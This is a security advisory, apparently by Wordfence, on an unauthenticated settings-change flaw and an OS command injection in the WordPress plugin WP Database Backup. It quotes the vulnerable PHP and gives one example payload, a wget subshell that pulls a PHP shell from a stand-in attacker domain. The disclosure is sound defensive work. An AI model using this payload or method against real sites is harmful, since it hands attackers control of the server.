OS Command Injection Vulnerability Patched In WP Database Backup Plugin

Toward the end of April, an unnamed security researcher published details of an unpatched vulnerability in WP Database Backup, a WordPress plugin with over 70,000 users. The vulnerability, which was irresponsibly disclosed to the public before attempting to notify the plugin’s developers, was reported as a plugin configuration change flaw. A proof of concept (PoC) exploit was provided which allowed unauthenticated attackers to modify the destination email address for database backups, potentially putting sensitive information in their hands.

Upon further review by our Threat Intelligence team, we determined the scope of this flaw was more severe in reality. In unpatched versions of WP Database Backup, an attacker is able to inject operating system (OS) commands arbitrarily, which are then executed when the plugin performs a database backup. Injected commands would persist until manually removed, executing each time a backup is run.

We immediately notified the plugin’s developer of this issue and deployed a new firewall rule to prevent Wordfence users from exploitation of these vulnerabilities. The vulnerabilities have been patched as of version 5.2 of WP Database Backup.

Plugin Configuration Change Vulnerability

The originally disclosed vulnerability present in WP Database Backup allows an attacker to modify a limited selection of the plugin’s internal settings. These settings were vulnerable due to inconsistencies in the way security features were added to the code–in some cases, a capabilities check would be performed or a CSRF nonce would be required, but other cases weren’t protected by these efforts.

In particular, a nonce check was required when the wp-database-backup page of a site’s admin dashboard was accessed. Unfortunately, the function used by the plugin to check for and perform settings changes was hooked into admin_init, not tied to the plugin’s own page in the dashboard. The vulnerable code would still execute on any other page under /wp-admin, allowing the nonce check to be bypassed.

if (isset($_POST['wpsetting'])) {
    if (isset($_POST['wp_local_db_backup_count'])) {
        update_option('wp_local_db_backup_count', esc_attr(sanitize_text_field($_POST['wp_local_db_backup_count'])));
    }
    if (isset($_POST['wp_db_log'])) {
        update_option('wp_db_log', 1);
    } else {
        update_option('wp_db_log', 0);
    }
    if (isset($_POST['wp_db_remove_local_backup'])) {
        update_option('wp_db_remove_local_backup', 1);
    } else {
        update_option('wp_db_remove_local_backup', 0);
    }

    if (isset($_POST['wp_db_backup_enable_htaccess'])) {
        update_option('wp_db_backup_enable_htaccess', 1);
    } else {
        update_option('wp_db_backup_enable_htaccess', 0);
        $path_info = wp_upload_dir();
        @unlink($path_info['basedir'] . '/db-backup/.htaccess');
    }


    if (isset($_POST['wp_db_exclude_table'])) {
        update_option('wp_db_exclude_table', $_POST['wp_db_exclude_table']);
    } else {
        update_option('wp_db_exclude_table', '');
    }
}
if (isset($_POST['wp_db_backup_email_id'])) {

    update_option('wp_db_backup_email_id', esc_attr(sanitize_text_field($_POST['wp_db_backup_email_id'])));
}
if (isset($_POST['wp_db_backup_email_attachment'])) {
    $email_attachment = sanitize_text_field($_POST['wp_db_backup_email_attachment']);
    update_option('wp_db_backup_email_attachment',esc_attr($email_attachment));
}
if (isset($_POST['Submit']) && $_POST['Submit'] == 'Save Settings') {
    if (isset($_POST['wp_db_backup_destination_Email'])) {
        update_option('wp_db_backup_destination_Email', 1);
    } else {
        update_option('wp_db_backup_destination_Email', 0);
    }
}

The entire code block above would run without any security checks on any admin-facing page other than the plugin’s own settings page. Since endpoints like /wp-admin/admin-post.php will trigger admin_init and return true for is_admin for unauthenticated users, an attacker can exploit this code without logging in. The original report drew attention to the email settings, which can be toggled for the plugin to send database backup files via email to a given address. In vulnerable versions, this can be switched on and pointed to an attacker-controlled address to obtain sensitive information from the site’s database.

OS Command Injection in Excluded Table Settings

One of the features in WP Database Backup allows users to define tables to be excluded from backups. These excluded tables are stored as an array, which is accessed when a new backup is performed.

public function mysqldump($SQLfilename)
{

    $this->mysqldump_method = 'mysqldump';

    //$this->do_action( 'mysqldump_started' );

    $host = explode(':', DB_HOST);

    $host = reset($host);
    $port = strpos(DB_HOST, ':') ? end(explode(':', DB_HOST)) : '';

    // Path to the mysqldump executable
    $cmd = escapeshellarg($this->get_mysqldump_command_path());

    // We don't want to create a new DB
    $cmd .= ' --no-create-db';

    // Allow lock-tables to be overridden
    if (!defined('WPDB_MYSQLDUMP_SINGLE_TRANSACTION') || WPDB_MYSQLDUMP_SINGLE_TRANSACTION !== false)
        $cmd .= ' --single-transaction';

    // Make sure binary data is exported properly
    $cmd .= ' --hex-blob';

    // Username
    $cmd .= ' -u ' . escapeshellarg(DB_USER);

    // Don't pass the password if it's blank
    if (DB_PASSWORD)
        $cmd .= ' -p' . escapeshellarg(DB_PASSWORD);

    // Set the host
    $cmd .= ' -h ' . escapeshellarg($host);

    // Set the port if it was set
    if (!empty($port) && is_numeric($port))
        $cmd .= ' -P ' . $port;

    // The file we're saving too
    $cmd .= ' -r ' . escapeshellarg($SQLfilename);

    $wp_db_exclude_table = array();
    $wp_db_exclude_table = get_option('wp_db_exclude_table');
    if (!empty($wp_db_exclude_table)) {
        foreach ($wp_db_exclude_table as $wp_db_exclude_table) {
            $cmd .= ' --ignore-table=' . DB_NAME . '.' . $wp_db_exclude_table;
            // error_log(DB_NAME.'.'.$wp_db_exclude_table);
        }
    }

    // The database we're dumping
    $cmd .= ' ' . escapeshellarg(DB_NAME);

    // Pipe STDERR to STDOUT
    $cmd .= ' 2>&1';
    // Store any returned data in an error
    
    $stderr = shell_exec($cmd);

    // Skip the new password warning that is output in mysql > 5.6
    if (trim($stderr) === 'Warning: Using a password on the command line interface can be insecure.') {
        $stderr = '';
    }

    if ($stderr) {
        $this->error($this->get_mysqldump_method(), $stderr);
        error_log($stderr);
    }

    return $this->verify_mysqldump($SQLfilename);
}

The backups themselves are performed by building a mysqldump command to be executed via shell_exec. The plugin uses its own settings and the site’s database credentials to assemble the full command, including the array of excluded tables.

$wp_db_exclude_table = array();
$wp_db_exclude_table = get_option('wp_db_exclude_table');
if (!empty($wp_db_exclude_table)) {
    foreach ($wp_db_exclude_table as $wp_db_exclude_table) {
        $cmd .= ' --ignore-table=' . DB_NAME . '.' . $wp_db_exclude_table;
        // error_log(DB_NAME.'.'.$wp_db_exclude_table);
    }
}

As seen in the relevant snippet above, the array of excluded tables is iterated over to append --ignore-table= arguments to the final mysqldump command. However, since these values are inserted directly into an OS command without sanitization, and an attacker can modify the values of this array by exploiting the configuration change vulnerability above, this can be abused to execute arbitrary commands on the site’s host server.

The simplest way to demonstrate this flaw is via a basic Bash subshell. If, for instance, an attacker has defined the value $(wget evildomain.com/shell.txt -O shell.php) as an “excluded table”, then the commands within the parentheses will be executed before the actual mysqldump command (which will most likely fail, since the returned value from the subshell would be invalid for an --ignore-table argument). In this example, a malicious PHP shell would be pulled down from the attacker’s site and stored as “shell.php” on the victim’s server. This would happen every time a backup was performed with the plugin, either manually or scheduled, until the site’s owner reset the excluded table configuration.

Disclosure Timeline

  • April 24 – Original public disclosure of configuration change flaw. Wordfence identifies OS command injection flaw and reaches out to developer.
  • April 25 – Wordfence releases firewall rule to Premium users to prevent exploitation of both flaws.
  • April 27 – Developer acknowledges issue.
  • April 30 – Patch released
  • May 25 – Firewall rule released for free users.

Conclusion

In today’s post, we detailed a previously undisclosed OS command injection flaw present in the WP Database Backup plugin. This flaw has been patched as of version 5.2 and we recommend affected users ensure they’ve updated to the latest available version. Sites running Wordfence Premium have been protected from exploitation of these flaws since April 24th. Sites running the free version received the firewall rule update on May 25th.

Did you enjoy this post? Share it!

Comments

3 Comments
  • I used to use that plugin a few years ago, and removed it. Do you think it left behind files on the server that can still be hacked in the way you describe? Please advise.

    • Hi Tara! The plugin would need to be fully installed, activated, and running backups for this to be exploited.

  • Thank you so much for publishing this. I use that plug-in on my site. I am so glad you guys have our backs! Really really appreciate it!!!